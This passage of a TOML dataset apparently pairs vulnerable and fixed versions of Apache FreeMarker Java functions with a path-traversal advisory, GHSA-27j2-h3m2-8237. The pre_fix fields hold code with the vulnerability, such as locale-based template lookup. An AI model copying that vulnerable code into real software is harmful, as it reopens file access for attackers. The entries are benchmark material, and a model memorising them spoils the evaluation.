+post_fix = " public ClassTemplateLoader() {\n this(null, null, \"/\");\n }\n\n /**\n * Creates a template loader that will use the {@link Class#getResource(String)} method of the specified class to\n * load the resources, and {@code \"\"} as base package path. This means that template paths will be resolved\n * relatively to the class location, that is, relatively to the directory (package) of the class.\n *\n * @param resourceLoaderClass\n * the class whose {@link Class#getResource(String)} will be used to load the templates.\n *\n * @deprecated It's confusing that the base path is {@code \"\"}; use {@link #ClassTemplateLoader(Class, String)}\n * instead.\n */\n @Deprecated"
+pre_fix = " public ClassTemplateLoader() {\n this(null, true, null, \"/\");\n }\n\n /**\n * Creates a template loader that will use the {@link Class#getResource(String)} method of the specified class to\n * load the resources, and {@code \"\"} as base package path. This means that template paths will be resolved\n * relatively to the class location, that is, relatively to the directory (package) of the class.\n *\n * @param resourceLoaderClass\n * the class whose {@link Class#getResource(String)} will be used to load the templates.\n *\n * @deprecated It's confusing that the base path is {@code \"\"}; use {@link #ClassTemplateLoader(Class, String)}\n * instead.\n */\n @Deprecated"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "resolveDotDotSteps"
+function_lines = [[362, 423]]
+id = "apache-freemarker-d058151619a90d08"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java"
+post_fix = " private String resolveDotDotSteps(String path, final String name) throws MalformedTemplateNameException {\n int nextFromIdx = 0;\n while (true) {\n final int dotDotIdx = path.indexOf(\"..\", nextFromIdx);\n if (dotDotIdx < 0) {\n return path;\n }\n\n if (dotDotIdx == 0) {\n throw newRootLeavingException(name);\n } else if (path.charAt(dotDotIdx - 1) != '/') {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue;\n }\n // Here we know that it has a preceding \"/\".\n\n final boolean slashRight;\n if (dotDotIdx + 2 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotDotIdx + 2) == '/') {\n slashRight = true;\n } else {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue;\n }\n\n int previousSlashIdx;\n boolean skippedStarStep = false;\n {\n int searchSlashBacwardsFrom = dotDotIdx - 2; // before the \"/..\"\n while (true) {\n if (searchSlashBacwardsFrom == -1) {\n throw newRootLeavingException(name);\n }\n previousSlashIdx = path.lastIndexOf('/', searchSlashBacwardsFrom);\n if (previousSlashIdx == -1) {\n if (searchSlashBacwardsFrom == 0 && path.charAt(0) == '*') {\n // \"*/..\"\n throw newRootLeavingException(name);\n }\n break;\n }\n if (path.charAt(previousSlashIdx + 1) == '*' && path.charAt(previousSlashIdx + 2) == '/') {\n skippedStarStep = true;\n searchSlashBacwardsFrom = previousSlashIdx - 1;\n } else {\n break;\n }\n }\n }\n\n // Note: previousSlashIdx is possibly -1\n // Removed part in {}: \"a/{b/*/../}c\" or \"a/{b/*/..}\"\n path = path.substring(0, previousSlashIdx + 1)\n + (skippedStarStep ? \"*/\" : \"\")\n + path.substring(dotDotIdx + (slashRight ? 3 : 2));\n nextFromIdx = previousSlashIdx + 1;\n }\n }\n"
+pre_fix = " private String resolveDotDotSteps(String path, final String name) throws MalformedTemplateNameException {\n int nextFromIdx = 0;\n findDotDotSteps: while (true) {\n final int dotDotIdx = path.indexOf(\"..\", nextFromIdx);\n if (dotDotIdx < 0) {\n return path;\n }\n \n if (dotDotIdx == 0) {\n throw newRootLeavingException(name);\n } else if (path.charAt(dotDotIdx - 1) != '/') {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue findDotDotSteps;\n }\n // Here we know that it has a preceding \"/\".\n \n final boolean slashRight;\n if (dotDotIdx + 2 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotDotIdx + 2) == '/') {\n slashRight = true;\n } else {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue findDotDotSteps;\n }\n \n int previousSlashIdx;\n boolean skippedStarStep = false;\n {\n int searchSlashBacwardsFrom = dotDotIdx - 2; // before the \"/..\"\n scanBackwardsForSlash: while (true) {\n if (searchSlashBacwardsFrom == -1) {\n throw newRootLeavingException(name);\n }\n previousSlashIdx = path.lastIndexOf('/', searchSlashBacwardsFrom);\n if (previousSlashIdx == -1) {\n if (searchSlashBacwardsFrom == 0 && path.charAt(0) == '*') {\n // \"*/..\"\n throw newRootLeavingException(name);\n }\n break scanBackwardsForSlash;\n }\n if (path.charAt(previousSlashIdx + 1) == '*' && path.charAt(previousSlashIdx + 2) == '/') {\n skippedStarStep = true;\n searchSlashBacwardsFrom = previousSlashIdx - 1; \n } else {\n break scanBackwardsForSlash;\n }\n }\n }\n \n // Note: previousSlashIdx is possibly -1\n // Removed part in {}: \"a/{b/*/../}c\" or \"a/{b/*/..}\"\n path = path.substring(0, previousSlashIdx + 1)\n + (skippedStarStep ? \"*/\" : \"\")\n + path.substring(dotDotIdx + (slashRight ? 3 : 2));\n nextFromIdx = previousSlashIdx + 1;\n }\n }\n "
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "MaybeMissingTemplate"
+function_lines = [[958, 964]]
+id = "apache-freemarker-d260924010aace8a"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " private MaybeMissingTemplate(Template template) {\n this.template = template;\n this.missingTemplateNormalizedName = null;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = null;\n }\n\n private MaybeMissingTemplate(\n String normalizedName,\n MalformedTemplateNameException missingTemplateCauseException) {\n this.template = null;\n this.missingTemplateNormalizedName = normalizedName;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = missingTemplateCauseException;\n }\n\n private MaybeMissingTemplate(\n String normalizedName,\n String missingTemplateReason) {\n this.template = null;\n this.missingTemplateNormalizedName = normalizedName;\n this.missingTemplateReason = missingTemplateReason;\n this.missingTemplateCauseException = null;\n }\n\n /**\n * The {@link Template} if it wasn't missing, otherwise {@code null}.\n */"
+pre_fix = " private MaybeMissingTemplate(Template template) {\n this.template = template;\n this.missingTemplateNormalizedName = null;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = null;\n }\n "
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "lookupWithLocalizedThenAcquisitionStrategy"
+function_lines = [[914, 942]]
+id = "apache-freemarker-d3c7bc0ea1b565c4"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " public TemplateLookupResult lookupWithLocalizedThenAcquisitionStrategy(final String templateName,\n final Locale templateLocale) throws IOException {\n\n if (templateLocale == null) {\n return lookupWithAcquisitionStrategy(templateName);\n }\n\n int lastDot = templateName.lastIndexOf('.');\n String prefix = lastDot == -1 ? templateName : templateName.substring(0, lastDot);\n String suffix = lastDot == -1 ? \"\" : templateName.substring(lastDot);\n String localeInfix = toLocaleInfix(templateLocale);\n StringBuilder buf = new StringBuilder(templateName.length() + localeInfix.length());\n buf.append(prefix);\n while (true) {\n buf.setLength(prefix.length());\n String path = buf.append(localeInfix).append(suffix).toString();\n TemplateLookupResult lookupResult = lookupWithAcquisitionStrategy(path);\n if (lookupResult.isPositive()) {\n return lookupResult;\n }\n\n int lastUnderscore = localeInfix.lastIndexOf(LOCALE_INFIX_SEPARATOR);\n if (lastUnderscore == -1) {\n break;\n }\n localeInfix = localeInfix.substring(0, lastUnderscore);\n }\n return createNegativeLookupResult();\n }"
+pre_fix = " public TemplateLookupResult lookupWithLocalizedThenAcquisitionStrategy(final String templateName,\n final Locale templateLocale) throws IOException {\n \n if (templateLocale == null) {\n return lookupWithAcquisitionStrategy(templateName);\n }\n \n int lastDot = templateName.lastIndexOf('.');\n String prefix = lastDot == -1 ? templateName : templateName.substring(0, lastDot);\n String suffix = lastDot == -1 ? \"\" : templateName.substring(lastDot);\n String localeName = LOCALE_PART_SEPARATOR + templateLocale.toString();\n StringBuilder buf = new StringBuilder(templateName.length() + localeName.length());\n buf.append(prefix);\n tryLocaleNameVariations: while (true) {\n buf.setLength(prefix.length());\n String path = buf.append(localeName).append(suffix).toString();\n TemplateLookupResult lookupResult = lookupWithAcquisitionStrategy(path);\n if (lookupResult.isPositive()) {\n return lookupResult;\n }\n \n int lastUnderscore = localeName.lastIndexOf('_');\n if (lastUnderscore == -1) {\n break tryLocaleNameVariations;\n }\n localeName = localeName.substring(0, lastUnderscore);\n }\n return createNegativeLookupResult();\n }"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "OptInTemplateClassResolver"
+function_lines = [[68, 89]]
+id = "apache-freemarker-d4b9c3b8b1a5b2c3"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java"
+post_fix = " public OptInTemplateClassResolver(\n Set allowedClasses, List trustedTemplates) {\n this.allowedClasses = allowedClasses != null ? allowedClasses : Collections.EMPTY_SET;\n if (trustedTemplates != null) {\n trustedTemplateNames = new HashSet<>();\n trustedTemplatePrefixes = new ArrayList<>();\n\n for (Object trustedTemplate : trustedTemplates) {\n String li = (String) trustedTemplate;\n if (li.startsWith(\"/\")) li = li.substring(1);\n if (li.endsWith(\"*\")) {\n trustedTemplatePrefixes.add(li.substring(0, li.length() - 1));\n } else {\n trustedTemplateNames.add(li);\n }\n }\n } else {\n trustedTemplateNames = Collections.emptySet();\n trustedTemplatePrefixes = Collections.emptyList();\n }\n }"
+pre_fix = " public OptInTemplateClassResolver(\n Set allowedClasses, List trustedTemplates) {\n this.allowedClasses = allowedClasses != null ? allowedClasses : Collections.EMPTY_SET;\n if (trustedTemplates != null) {\n trustedTemplateNames = new HashSet();\n trustedTemplatePrefixes = new ArrayList();\n \n Iterator it = trustedTemplates.iterator();\n while (it.hasNext()) {\n String li = (String) it.next();\n if (li.startsWith(\"/\")) li = li.substring(1);\n if (li.endsWith(\"*\")) {\n trustedTemplatePrefixes.add(li.substring(0, li.length() - 1));\n } else {\n trustedTemplateNames.add(li);\n }\n }\n } else {\n trustedTemplateNames = Collections.EMPTY_SET;\n trustedTemplatePrefixes = Collections.EMPTY_LIST;\n }\n }"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "lookupTemplateWithAcquisitionStrategy"
+function_lines = [[740, 782]]
+id = "apache-freemarker-eb721acc4b96dd7f"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " private TemplateLookupResult lookupTemplateWithAcquisitionStrategy(String path) throws IOException {\n int asterisk = path.indexOf(ASTERISK);\n // Shortcut in case there is no acquisition\n if (asterisk == -1) {\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n StringTokenizer tok = new StringTokenizer(path, \"/\");\n int lastAsterisk = -1;\n List tokpath = new ArrayList<>();\n while (tok.hasMoreTokens()) {\n String pathToken = tok.nextToken();\n if (pathToken.equals(ASTERISK_STR)) {\n if (lastAsterisk != -1) {\n tokpath.remove(lastAsterisk);\n }\n lastAsterisk = tokpath.size();\n }\n tokpath.add(pathToken);\n }\n if (lastAsterisk == -1) { // if there was no real \"*\" step after all\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n String basePath = concatPath(tokpath, 0, lastAsterisk);\n String resourcePath = concatPath(tokpath, lastAsterisk + 1, tokpath.size());\n if (resourcePath.endsWith(\"/\")) {\n resourcePath = resourcePath.substring(0, resourcePath.length() - 1);\n }\n StringBuilder buf = new StringBuilder(path.length()).append(basePath);\n int l = basePath.length();\n for (; ; ) {\n String fullPath = buf.append(resourcePath).toString();\n Object templateSource = findTemplateSource(fullPath);\n if (templateSource != null) {\n return TemplateLookupResult.from(fullPath, templateSource);\n }\n if (l == 0) {\n return TemplateLookupResult.createNegativeResult();\n }\n l = basePath.lastIndexOf(SLASH, l - 2) + 1;\n buf.setLength(l);\n }\n }\n"
+pre_fix = " private TemplateLookupResult lookupTemplateWithAcquisitionStrategy(String path) throws IOException {\n int asterisk = path.indexOf(ASTERISK);\n // Shortcut in case there is no acquisition\n if (asterisk == -1) {\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n StringTokenizer tok = new StringTokenizer(path, \"/\");\n int lastAsterisk = -1;\n List tokpath = new ArrayList();\n while (tok.hasMoreTokens()) {\n String pathToken = tok.nextToken();\n if (pathToken.equals(ASTERISKSTR)) {\n if (lastAsterisk != -1) {\n tokpath.remove(lastAsterisk);\n }\n lastAsterisk = tokpath.size();\n }\n tokpath.add(pathToken);\n }\n if (lastAsterisk == -1) { // if there was no real \"*\" step after all\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n String basePath = concatPath(tokpath, 0, lastAsterisk);\n String resourcePath = concatPath(tokpath, lastAsterisk + 1, tokpath.size());\n if (resourcePath.endsWith(\"/\")) {\n resourcePath = resourcePath.substring(0, resourcePath.length() - 1);\n }\n StringBuilder buf = new StringBuilder(path.length()).append(basePath);\n int l = basePath.length();\n for (; ; ) {\n String fullPath = buf.append(resourcePath).toString();\n Object templateSource = findTemplateSource(fullPath);\n if (templateSource != null) {\n return TemplateLookupResult.from(fullPath, templateSource);\n }\n if (l == 0) {\n return TemplateLookupResult.createNegativeResult();\n }\n l = basePath.lastIndexOf(SLASH, l - 2) + 1;\n buf.setLength(l);\n }\n }\n"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "buildDebugName"
+function_lines = [[329, 466]]
+id = "apache-freemarker-eb9b0fff47e5400b"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n\n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n\n final long now = System.currentTimeMillis();\n\n long lastModified;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n\n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n }\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" +\n \"sourceEquals=false\" +\n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) +\n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else {\n LOG.debug(\"Updating source because: \" +\n \"lastModifiedNotChanged=\" + lastModifiedNotChanged +\n \", cached.lastModified=\" + cachedTemplate.lastModified +\n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n\n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n\n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n\n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified;\n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }\n"
+pre_fix = " ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n \n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n \n final long now = System.currentTimeMillis();\n \n long lastModified = -1L;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n \n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n } \n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" + \n \"sourceEquals=\" + sourceEquals + \n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) + \n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else if (!lastModifiedNotChanged) {\n LOG.debug(\"Updating source because: \" + \n \"lastModifiedNotChanged=\" + lastModifiedNotChanged + \n \", cached.lastModified=\" + cachedTemplate.lastModified + \n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n \n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n \n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n \n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n \n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n \n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n \n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified; \n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }\n\n private static final Method INIT_CAUSE = getInitCauseMethod();\n "
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "equals"
+function_lines = [[842, 854]]
+id = "apache-freemarker-f10a2c2cfda93e16"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " public boolean equals(Object o) {\n if (o instanceof TemplateKey) {\n TemplateKey tk = (TemplateKey) o;\n return\n parse == tk.parse &&\n name.equals(tk.name) &&\n locale.equals(tk.locale) &&\n Objects.equals(customLookupCondition, tk.customLookupCondition) &&\n encoding.equals(tk.encoding);\n }\n return false;\n }\n\n @Override"
